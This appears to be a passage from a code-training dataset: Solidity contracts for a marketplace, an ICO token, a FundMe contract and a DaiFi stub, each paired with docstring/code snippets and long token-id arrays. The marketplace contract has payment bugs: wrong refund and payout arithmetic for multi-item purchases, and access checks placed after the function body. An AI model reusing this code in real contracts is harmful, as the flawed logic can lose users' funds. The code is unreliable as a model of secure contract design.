-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.5.0;
import "./SafeMath.sol";
import "./Pausable.sol";
contract SalePlace is Pausable{
using SafeMath for uint;
struct Item {
string name;
string image;
string description;
uint price;
uint numberOfItems;
uint timestamp;
address payable seller;
}
/* Staus Enum used by ItemInvoice ,with 4 states
Processing
Shipped
Received
Refunded
*/
enum Status { Processing ,Shipped, Received, Refunded }
struct ItemInvoice{
string itemId;
uint numberOfItemsSold;
uint amountPaid;
Status status;
uint timestamp;
address payable buyer;
}
mapping (string => Item) private items;
mapping (string => ItemInvoice) private itemsSold;
modifier isSeller(string memory _itemId){
_;
require(items[_itemId].seller != address(0) && items[_itemId].seller == msg.sender, "should be the seller to process forward");
}
modifier isBuyer(string memory _itemId){
_;
require(itemsSold[_itemId].buyer != address(0) && itemsSold[_itemId].buyer == msg.sender, "should be a buyer to process forward");
}
event LogAddItem(address seller, string itemId , uint numberOfItems, uint price);
event LogUpdateItem(address seller, string itemId , uint numberOfItems, uint price);
event LogBuyItem(address buyer, string invoiceId, uint numberOfItems);
event LogShipped(address seller, string invoiceId, string itemId);
event LogReceived(address buyer, string invoiceId, string itemId);
event LogRefund(address seller, address buyer, string invoiceId, string itemId, uint amountRefunded);
/// @notice Trade logic called when items are purchased by a user
/// @param _itemId id of the item to fetch
/// @param _numberOfItems number of the items purchased
/// @dev the function will trade amount from buyer to seller , also any left over amount will be transfered to buyer itself
modifier trade (string memory _itemId, uint _numberOfItems) {
_;
uint totalAmount = _numberOfItems.mul(items[_itemId].price);
require(msg.value >= totalAmount, 'Amount less than required');
uint amountToRefund = msg.value.sub(items[_itemId].price);
if(amountToRefund>0){
msg.sender.transfer(amountToRefund); // transfer left over to buyer
}
items[_itemId].seller.transfer(items[_itemId].price); // send the money to seller
}
/// @notice Get am item based on item id
/// @param _itemId id of the item to fetch
/// @return id, name, image , description , price , number of Items left, timestamp and seller address of the item
function getItem(string memory _itemId)
public
view
returns (string memory id, string memory name, string memory image, string memory description, uint price, uint numberOfItems, address seller, uint timestamp) {
id = _itemId;
name = items[_itemId].name;
image = items[_itemId].image;
price = items[_itemId].price;
description = items[_itemId].description;
numberOfItems = items[_itemId].numberOfItems;
seller = items[_itemId].seller;
timestamp = items[_itemId].timestamp;
return (id, name, image, description, price, numberOfItems, seller, timestamp);
}
/// @notice Get item purcahsed details of the request user mapping for given item
/// @param _invoiceId invoice id of the item sold to fetch
/// @return itemId, invoiceId, number of Items sold , status, timestamp, buyer address & amount paid
function getItemSold(string memory _invoiceId)
public
view
isBuyer(_invoiceId)
returns (string memory itemId, string memory invoiceId, uint numberOfItemsSold, Status status, address buyer, uint timestamp, uint amountPaid) {
itemId = itemsSold[_invoiceId].itemId;
invoiceId = _invoiceId;
numberOfItemsSold = itemsSold[_invoiceId].numberOfItemsSold;
status = itemsSold[_invoiceId].status;
buyer = itemsSold[_invoiceId].buyer;
timestamp = itemsSold[_invoiceId].timestamp;
amountPaid = itemsSold[_invoiceId].amountPaid;
return (itemId, invoiceId, numberOfItemsSold, status, buyer, timestamp, amountPaid);
}
/// @notice Add item
/// @dev Emits LogAddItem
/// @param _itemId id of the item
/// @param _name name of the item
/// @param _image image url of the item
/// @param _description description of the item
/// @param _price price of the item
/// @param _numberOfItems number of the item to sell
/// @return true if item is created
function addItem(string memory _itemId,string memory _name, string memory _image, string memory _description, uint _price, uint _numberOfItems)
public
whenNotPaused()
returns(bool){
require(_numberOfItems>0, 'Number of items should be atleast 1');
require(_price>0, 'Price of items cannot be atleast 0');
Item memory newItem;
newItem.name = _name;
newItem.image = _image;
newItem.description = _description;
newItem.price = _price;
newItem.numberOfItems = _numberOfItems;
newItem.seller = msg.sender;
newItem.timestamp = now;
items[_itemId] = newItem;
emit LogAddItem(msg.sender, _itemId, _numberOfItems, _price);
return true;
}
/// @notice Update item
/// @dev Emits LogUpdateItem
/// @dev Need to be seller of the item to update
/// @param _itemId id of the item
/// @param _name name of the item
/// @param _image image url of the item
/// @param _description description of the item
/// @param _price price of the item
/// @param _numberOfItems number of the item to sell
/// @return true if item is udpated
function updateItem(string memory _itemId, string memory _name, string memory _image, string memory _description, uint _price, uint _numberOfItems)
public
whenNotPaused()
isSeller(_itemId)
returns(bool){
require(_numberOfItems>0, 'Number of items should be atleast 1');
require(_price>0, 'Price of items cannot be atleast 0');
items[_itemId].name = _name;
items[_itemId].image = _image;
items[_itemId].description = _description;
items[_itemId].price = _price;
items[_itemId].numberOfItems = _numberOfItems;
emit LogUpdateItem(msg.sender, _itemId, _numberOfItems, _price);
return true;
}
/// @notice Function to buy items
/// @dev Emits LogBuyItem
/// @dev Amount paid more than required will be refunded
/// @param _itemId id of the item
/// @param _invoiceId id of the invoice item sold
/// @param _numberOfItems number of the item to buy
/// @return true if items are bought
function buyItem(string memory _itemId, string memory _invoiceId, uint _numberOfItems)
public
payable
whenNotPaused()
trade(_itemId,_numberOfItems)
returns(bool){
require(_numberOfItems>0, 'Number of items should be atleast 1');
require(items[_itemId].numberOfItems - _numberOfItems >= 0, 'Out of stock');
itemsSold[_invoiceId].status = Status.Processing;
itemsSold[_invoiceId].numberOfItemsSold = _numberOfItems;
itemsSold[_invoiceId].buyer = msg.sender;
itemsSold[_invoiceId].timestamp = now;
itemsSold[_invoiceId].itemId = _itemId;
itemsSold[_invoiceId].amountPaid = _numberOfItems.mul(items[_itemId].price);
items[_itemId].numberOfItems = items[_itemId].numberOfItems.sub(1);
emit LogBuyItem(msg.sender, _itemId, _numberOfItems);
return true;
}
/// @notice Function called by seller to set item status to shipped
/// @dev Emits LogShipped
/// @dev Needs to be seller of the itemto access the function
/// @param _invoiceId id of the invoice id of item sold
/// @return true if items is udpated to shipped status
function shipItem(string memory _invoiceId)
public
returns(bool){
require(itemsSold[_invoiceId].status == Status.Processing, 'Item already shipped');
require(items[itemsSold[_invoiceId].itemId].seller == msg.sender, 'Action restricted to seller only');
itemsSold[_invoiceId].status = Status.Shipped;
emit LogShipped(msg.sender, _invoiceId, itemsSold[_invoiceId].itemId);
return true;
}
/// @notice Function called by buyer to set item status to received
/// @dev Emits LogReceived
/// @dev Needs to be buyer of the item to access the function
/// @param _invoiceId id of the invoice id of item sold
/// @return true if items is udpated to received status
function receiveItem(string memory _invoiceId)
public
isBuyer(_invoiceId)
returns(bool){
require(itemsSold[_invoiceId].status == Status.Shipped , 'Item not yet shipped');
require(itemsSold[_invoiceId].buyer == msg.sender, 'Action restricted to buyer only');
itemsSold[_invoiceId].status = Status.Received;
emit LogReceived(msg.sender, _invoiceId, itemsSold[_invoiceId].itemId);
return true;
}
/// @notice Function called by seller to refund for the item
/// @dev Emits LogRefund
/// @dev Needs to be seller of the item to access the function
/// @dev Amount is transfered from seller account to buyer account , any left over paid will transfered to the seller itself
/// @param _invoiceId id of the invoice id of item sold
/// @return true if refund is successfull
function refundItem(string memory _invoiceId)
public
payable
returns(bool){
string memory itemId = itemsSold[_invoiceId].itemId;
require(items[itemId].seller == msg.sender, 'Action restricted to seller only');
require(msg.value >= itemsSold[_invoiceId].amountPaid, 'Amount less than required');
require(itemsSold[_invoiceId].amountPaid > 0, 'Total amount to refund should be greater than zero');
itemsSold[_invoiceId].buyer.transfer(itemsSold[_invoiceId].amountPaid); // transfer to buyer
uint amountLeftOver = msg.value.sub(itemsSold[_invoiceId].amountPaid);
if(amountLeftOver>0){
items[itemId].seller.transfer(amountLeftOver); // transfer any left over to seller
}
itemsSold[_invoiceId].status = Status.Refunded;
emit LogRefund(msg.sender, itemsSold[_invoiceId].buyer, _invoiceId, itemId, itemsSold[_invoiceId].amountPaid);
return true;
}
} | send the money to seller
| items[_itemId].seller.transfer(items[_itemId].price); | 15,787,809 | [
1,
4661,
326,
15601,
358,
29804,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
1516,
63,
67,
1726,
548,
8009,
1786,
749,
18,
13866,
12,
3319,
63,
67,
1726,
548,
8009,
8694,
1769,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
//Address: 0xd411d1c7fd2e1a9adf44ef852e82658bb739f8e1
//Contract name: Standix
//Balance: 0 Ether
//Verification Date: 6/4/2018
//Transacion Count: 5
// CODE STARTS HERE
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20
{
function totalSupply()public view returns(uint total_Supply);
function balanceOf(address who)public view returns(uint256);
function allowance(address owner, address spender)public view returns(uint);
function transferFrom(address from, address to, uint value)public returns(bool ok);
function approve(address spender, uint value)public returns(bool ok);
function transfer(address to, uint value)public returns(bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Standix is ERC20
{
using SafeMath for uint256;
address public WALLET = 0xAaF9BfaBB08e55B68140B3Ea6515901170053980;
uint256 constant public TOKEN_DECIMALS = 10 ** 9;
uint256 constant public ETH_DECIMALS = 10 ** 18;
uint256 public TotalpresaleSupply = 20000000; //20 million presale
uint256 public TotalCrowdsaleSupply = 20000000; // 20 million ICO
uint256 public TotalOwnerSupply = 60000000; //60 Million to owner
uint256 PresaleDays = 31 days;
uint256 ICODays = 63 days;
// Name of the token
string public constant name = "Standix";
// Symbol of token
string public constant symbol = "SAX";
uint8 public constant decimals = 9;
// 100 Million total supply // muliplies dues to decimal precision
uint public TotalTokenSupply = 100000000 * TOKEN_DECIMALS; //100 million
// Owner of this contract
address public owner;
bool private paused = false;
uint256 public ContributionAmount;
uint256 public StartdatePresale;
uint256 public EnddatePresale;
uint256 public StartdateICO;
uint256 public EnddateICO;
uint256 no_of_tokens;
uint public BONUS;
uint256 public minContribution = 5000;// 50 USD in cents
uint256 public TotalCrowdsaleContributions;
uint Price_Per_Token;
uint public EtherUSDPriceFactor;
mapping(address => mapping(address => uint)) allowed;
mapping(address => uint) balances;
enum Stages {
NOTSTARTED,
PREICO,
ICO,
ENDED
}
Stages public stage;
modifier atStage(Stages _stage) {
require(stage == _stage);
_;
}
modifier onlyOwner() {
require (msg.sender == owner);
_;
}
constructor (uint256 EtherPriceFactor) public
{
require(EtherPriceFactor != 0);
owner = msg.sender;
balances[owner] = TotalOwnerSupply.mul(TOKEN_DECIMALS);
stage = Stages.NOTSTARTED;
EtherUSDPriceFactor = EtherPriceFactor;
emit Transfer(0, owner, balances[owner]);
}
function() public payable
{
require(stage != Stages.ENDED);
require(!paused && msg.sender != owner);
if( stage == Stages.PREICO && now <= EnddatePresale )
{
caltoken();
}
else if(stage == Stages.ICO && now <= EnddateICO )
{
caltoken();
}
else
{
revert();
}
}
function caltoken() private {
// price in cents with 18 zeros included
ContributionAmount = ((msg.value).mul(EtherUSDPriceFactor.mul(100)));
require(ContributionAmount >= (minContribution.mul(ETH_DECIMALS)));
no_of_tokens =(((ContributionAmount).div(Price_Per_Token))).div(TOKEN_DECIMALS);
uint256 bonus_token = ((no_of_tokens).mul(BONUS)).div(100); // 58 percent bonus token
uint256 total_token = no_of_tokens + bonus_token;
transferTokens(msg.sender,total_token);
}
// Calculates the Bonus Award based upon the purchase amount and the purchase period
// function calculateBonus(uint256 individuallyContributedEtherInWei) private returns(uint256 bonus_applied)
function startPreICO() public onlyOwner atStage(Stages.NOTSTARTED)
{
stage = Stages.PREICO;
paused = false;
Price_Per_Token = 10;
BONUS = 30;
balances[address(this)] = (TotalpresaleSupply).mul(TOKEN_DECIMALS);
StartdatePresale = now;
EnddatePresale = now + PresaleDays;
emit Transfer(0, address(this), balances[address(this)]);
}
function startICO() public onlyOwner //atStage(Stages.PREICO)
{
// require(now > pre_enddate);
stage = Stages.ICO;
paused = false;
Price_Per_Token= 20;
BONUS = 20;
balances[address(this)] = balances[address(this)].add((TotalCrowdsaleSupply).mul(TOKEN_DECIMALS));
StartdateICO = now;
EnddateICO = now + ICODays;
emit Transfer(0, address(this), (TotalCrowdsaleSupply).mul(TOKEN_DECIMALS));
}
function setpricefactor(uint256 newPricefactor) external onlyOwner
{
EtherUSDPriceFactor = newPricefactor;
}
// called by the owner, pause ICO
function pauseICO() external onlyOwner
{
paused = true;
}
// called by the owner , resumes ICO
function resumeICO() external onlyOwner
{
paused = false;
}
function end_ICO() external onlyOwner atStage(Stages.ICO)
{
require(now > EnddateICO);
stage = Stages.ENDED;
TotalTokenSupply = (TotalTokenSupply).sub(balances[address(this)]);
balances[address(this)] = 0;
emit Transfer(address(this), 0 , balances[address(this)]);
}
// what is the total supply of the ech tokens
function totalSupply() public view returns(uint256 total_Supply) {
total_Supply = TotalTokenSupply;
}
// What is the balance of a particular account?
function balanceOf(address token_Owner)public constant returns(uint256 balance) {
return balances[token_Owner];
}
// Send _value amount of tokens from address _from to address _to
// The transferFrom method is used for a withdraw workflow, allowing contracts to send
// tokens on your behalf, for example to "deposit" to a contract address and/or to charge
// fees in sub-currencies; the command should fail unless the _from account has
// deliberately authorized the sender of the message via some mechanism; we propose
// these standardized APIs for approval:
function transferFrom(address from_address, address to_address, uint256 tokens)public returns(bool success)
{
require(to_address != 0x0);
require(balances[from_address] >= tokens && allowed[from_address][msg.sender] >= tokens && tokens >= 0);
balances[from_address] = (balances[from_address]).sub(tokens);
allowed[from_address][msg.sender] = (allowed[from_address][msg.sender]).sub(tokens);
balances[to_address] = (balances[to_address]).add(tokens);
emit Transfer(from_address, to_address, tokens);
return true;
}
// Allow _spender to withdraw from your account, multiple times, up to the _value amount.
// If this function is called again it overwrites the current allowance with _value.
function approve(address spender, uint256 tokens)public returns(bool success)
{
require(spender != 0x0);
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function allowance(address token_Owner, address spender) public constant returns(uint256 remaining)
{
require(token_Owner != 0x0 && spender != 0x0);
return allowed[token_Owner][spender];
}
// Transfer the balance from owner's account to another account
function transfer(address to_address, uint256 tokens)public returns(bool success)
{
require(to_address != 0x0);
require(balances[msg.sender] >= tokens && tokens >= 0);
balances[msg.sender] = (balances[msg.sender]).sub(tokens);
balances[to_address] = (balances[to_address]).add(tokens);
emit Transfer(msg.sender, to_address, tokens);
return true;
}
// Transfer the balance from owner's account to another account
function transferTokens(address to_address, uint256 tokens) private returns(bool success)
{
require(to_address != 0x0);
require(balances[address(this)] >= tokens && tokens > 0);
balances[address(this)] = (balances[address(this)]).sub(tokens);
balances[to_address] = (balances[to_address]).add(tokens);
emit Transfer(address(this), to_address, tokens);
return true;
}
function forwardFunds() external onlyOwner
{
address myAddress = this;
WALLET.transfer(myAddress.balance);
}
// send token to multiple users in single time
function sendTokens(address[] a, uint[] v) public {
uint i = 0;
while( i < a.length ){
transfer(a[i], v[i] * TOKEN_DECIMALS);
i++;
}
}
}
| called by the owner, pause ICO | function pauseICO() external onlyOwner
{
paused = true;
}
| 989,406 | [
1,
11777,
635,
326,
3410,
16,
11722,
467,
3865,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
202,
915,
11722,
2871,
51,
1435,
3903,
1338,
5541,
203,
202,
95,
203,
202,
202,
8774,
3668,
273,
638,
31,
203,
202,
97,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";
contract FundMe
{
// TYPES
struct Funder
{
bool isFunder;
uint256 index;
uint256 amountFunded;
}
// VARIABLES
address public m_Owner;
address private m_AggV3Interface_address = 0x9326BFA02ADD2366b30bacB125260Af641031331;
address[] public m_Funders;
mapping(address => Funder) public m_AddressToFunderData;
// MODIFIERS
modifier onlyOwner()
{
require(msg.sender == m_Owner, "Only the owner of the contract can run this function");
_; // Resume
}
modifier onlyFunder()
{
require(this._isFunder(msg.sender), "Only funders of the contract can run this function");
_; // Resume
}
// METHODS
constructor()
{
m_Owner = msg.sender;
}
function fund() public payable
{
uint256 minimumUSD = 50;
require(this._weiToUsd(msg.value) >= minimumUSD, "Try spending more $ETH !");
// Add funder to data if first time
if (this._isFunder(msg.sender) == false)
{
m_Funders.push(msg.sender);
m_AddressToFunderData[msg.sender] = Funder({
isFunder: true,
index: m_Funders.length - 1,
amountFunded: 0
});
}
m_AddressToFunderData[msg.sender].amountFunded += msg.value;
}
function withdrawWei(uint256 _amount) public
{
require(m_AddressToFunderData[msg.sender].amountFunded >= _amount);
require(address(this).balance >= _amount);
payable(msg.sender).transfer(_amount);
m_AddressToFunderData[msg.sender].amountFunded -= _amount;
if (m_AddressToFunderData[msg.sender].amountFunded == 0)
{
delete(m_Funders[m_AddressToFunderData[msg.sender].index]);
delete(m_AddressToFunderData[msg.sender]);
}
}
function hello() public view onlyFunder returns(string memory)
{
return ("Hello");
}
function setPriceAddress(address _address) public onlyOwner
{
m_AggV3Interface_address = _address;
}
function _getVersion() public view returns(uint256)
{
AggregatorV3Interface priceFeed = AggregatorV3Interface(m_AggV3Interface_address);
return priceFeed.version();
}
// Gets price in with value * (10^8)
function _getPrice() public view returns(uint256)
{
AggregatorV3Interface priceFeed = AggregatorV3Interface(m_AggV3Interface_address);
(, int256 answer,,,) = priceFeed.latestRoundData();
return uint256(answer);
}
function _ethToUsd(uint256 ethAmount) public view returns(uint256)
{
return this._weiToUsd(ethAmount * (10**18));
}
function _weiToUsd(uint256 weiAmount) public view returns(uint256)
{
uint256 ethPrice = this._getPrice(); // 10^8 too high
uint256 usdValue = ethPrice * weiAmount / (10 ** 26); // Divide by (10^18) * (10^8) == (10^26)
return usdValue;
}
function _isFunder(address _address) public view returns(bool)
{
return m_AddressToFunderData[_address].isFunder;
}
}
| Add funder to data if first time | function fund() public payable
{
uint256 minimumUSD = 50;
require(this._weiToUsd(msg.value) >= minimumUSD, "Try spending more $ETH !");
if (this._isFunder(msg.sender) == false)
{
m_Funders.push(msg.sender);
m_AddressToFunderData[msg.sender] = Funder({
isFunder: true,
index: m_Funders.length - 1,
amountFunded: 0
});
}
m_AddressToFunderData[msg.sender].amountFunded += msg.value;
}
| 6,476,992 | [
1,
986,
284,
9341,
358,
501,
309,
1122,
813,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
284,
1074,
1435,
1071,
8843,
429,
203,
565,
288,
203,
3639,
2254,
5034,
5224,
3378,
40,
273,
6437,
31,
203,
203,
3639,
2583,
12,
2211,
6315,
1814,
77,
774,
3477,
72,
12,
3576,
18,
1132,
13,
1545,
5224,
3378,
40,
16,
315,
7833,
272,
9561,
1898,
271,
1584,
44,
401,
8863,
203,
203,
3639,
309,
261,
2211,
6315,
291,
42,
9341,
12,
3576,
18,
15330,
13,
422,
629,
13,
203,
3639,
288,
203,
5411,
312,
67,
42,
26843,
18,
6206,
12,
3576,
18,
15330,
1769,
203,
5411,
312,
67,
1887,
774,
42,
9341,
751,
63,
3576,
18,
15330,
65,
273,
478,
9341,
12590,
203,
7734,
17646,
9341,
30,
638,
16,
203,
7734,
770,
30,
312,
67,
42,
26843,
18,
2469,
300,
404,
16,
203,
7734,
3844,
42,
12254,
30,
374,
203,
5411,
15549,
203,
3639,
289,
203,
3639,
312,
67,
1887,
774,
42,
9341,
751,
63,
3576,
18,
15330,
8009,
8949,
42,
12254,
1011,
1234,
18,
1132,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.5.12;
pragma experimental ABIEncoderV2;
import { DaiFiActions } from "./implementations/DaiFiActions.sol";
import { Types } from "./lib/Types.sol";
/**
* @title DaiFi Contract
* @notice The DaiFi main contract
* @author DaiFi
*/
contract DaiFi is DaiFiActions {
/**
* @notice constructor sets the Dai contract address and the Dai price oracle from the given addresses (public)
* @param daiAddress The address of the Dai token
* @param daiPriceOracle The address of the Dai price oracle
*/
constructor(address daiAddress, address daiPriceOracle) DaiFiActions(daiAddress, daiPriceOracle) public {}
